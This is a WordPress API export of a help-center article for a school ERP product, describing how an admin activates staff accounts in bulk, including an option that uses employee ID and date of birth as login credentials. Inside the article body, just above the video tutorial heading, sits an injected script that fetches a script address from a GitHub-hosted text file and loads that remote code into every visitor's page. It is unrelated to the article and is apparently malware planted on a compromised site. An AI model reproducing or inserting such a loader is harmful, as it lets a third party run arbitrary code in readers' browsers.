{"id":10093,"date":"2025-01-03T05:06:20","date_gmt":"2025-01-02T23:36:20","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=10093"},"modified":"2025-12-12T16:40:56","modified_gmt":"2025-12-12T11:10:56","slug":"can-the-admin-activate-staff-accounts-in-bulk","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/can-the-admin-activate-staff-accounts-in-bulk\/","title":{"rendered":"Can the admin activate staff accounts in bulk?"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p><strong>&nbsp;To activate staff accounts:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Click on Settings.<\/li>\n\n\n\n<li>Then click on Administration, followed by School Setup.<\/li>\n<\/ul>\n\n\n\n<p>\u2192 Click on User Account Management, and then click on Staff.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdwnRzpOZ4RloDAuv-d0cPc8fbJHaT79gXgiTGJdlLH9BZVXEbQaukXBLk_Q99J0irlBeilrC7za9rHPSmaDPo82c6p80x10GbuJkytgxJfIdvpkTLlvkZJ-AxiR25I3ZyEX3gu3CJ4q4R5xLptdg?key=TMinS2PWRBgzKxwdNXzNn628\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u2192 Select the staff member whose account you want to activate and click on the Create button.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXd9Mc_85q0V89ePjaZ4K0D5mh02I3TShWLUcBuPvgM7zwX8B3nNbPICXKrANUoF7_rLiDZNRhRWATCDubJXPQDWRykyXMbm7Si6mFV1xzQUfhfn3AkPcS5lk0ckuxGweomRP68d-0r0DZ3aK5YNgQ?key=TMinS2PWRBgzKxwdNXzNn628\" alt=\"\"\/><\/figure>\n\n\n\n<p>All selected members will receive an activation link at once.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>If the school wants to use the employee ID as the username and date of birth as the password:<\/strong><\/li>\n<\/ol>\n\n\n\n<p>This is only possible if the contact information has not been entered. To do this:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Go to Settings -&gt; Administration -&gt; School Setup -&gt; User Account Management -&gt; User Account Settings.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdYHRkG4VW37zPRDZurgTemowwGcV4ZjlKj7OKaCJZRGi7NViehiHddlLi7mst49HyaCsQuVydBpFALWhr9FnFv4aV-bkSoN6fofjWJY25XMK11EqWsolyV6ebADobNfl2BG0bI9p6_lHAM7jzg?key=TMinS2PWRBgzKxwdNXzNn628\" alt=\"\"\/><\/figure>\n\n\n\n<p>\u2192 In User Account Settings, you will see an option at the bottom: &#8220;User Account Activation Without Validation Config&#8221;. Enable this option and save it.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXd90lY5almbfkTVQlYp6Z6tWyLVMyCs7qe16Xh-Aazhr_Ze4LDXZqYJa0RFZmghByJtl7nyDYZtC_ILO2PuwmG9bPMgKeVqNpvrIFxtrL0-Qf_PXrE_eZ2KSYXtu0Yjj6ePd3HjHDS4bWWlqyEG?key=TMinS2PWRBgzKxwdNXzNn628\" alt=\"\"\/><\/figure>\n\n\n\n<p><strong>\u2192 <\/strong>After enabling this feature, go to User Account Management -&gt; Staff -&gt; Insufficient Information.<\/p>\n\n\n\n<p>-&gt; Select the staff member you want to activate, then click on Create. The accounts will be activated with the employee ID as the username and date of birth as the password.<\/p>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n\n\n<h3 class=\"wp-block-heading\">Video Tutorial : <\/h3>\n\n\n\n<figure class=\"wp-block-video\"><video controls src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/12\/B20-04_Can-the-admin-activate-staff-accounts-in-bulk.mp4\"><\/video><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp;To activate staff accounts: \u2192 Click on User Account Management, and then click on Staff. \u2192 Select the staff member whose account you want to activate and click on the Create button. All selected members will receive an activation link at once. This is only possible if the contact information has not been entered. To &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/can-the-admin-activate-staff-accounts-in-bulk\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Can the admin activate staff accounts in bulk?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[709],"tags":[909,711],"post_folder":[],"class_list":["post-10093","post","type-post","status-publish","format-standard","hentry","category-user-account-management","tag-staff-account-2","tag-user-account-management"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/10093","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=10093"}],"version-history":[{"count":5,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/10093\/revisions"}],"predecessor-version":[{"id":18296,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/10093\/revisions\/18296"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=10093"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=10093"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=10093"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=10093"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}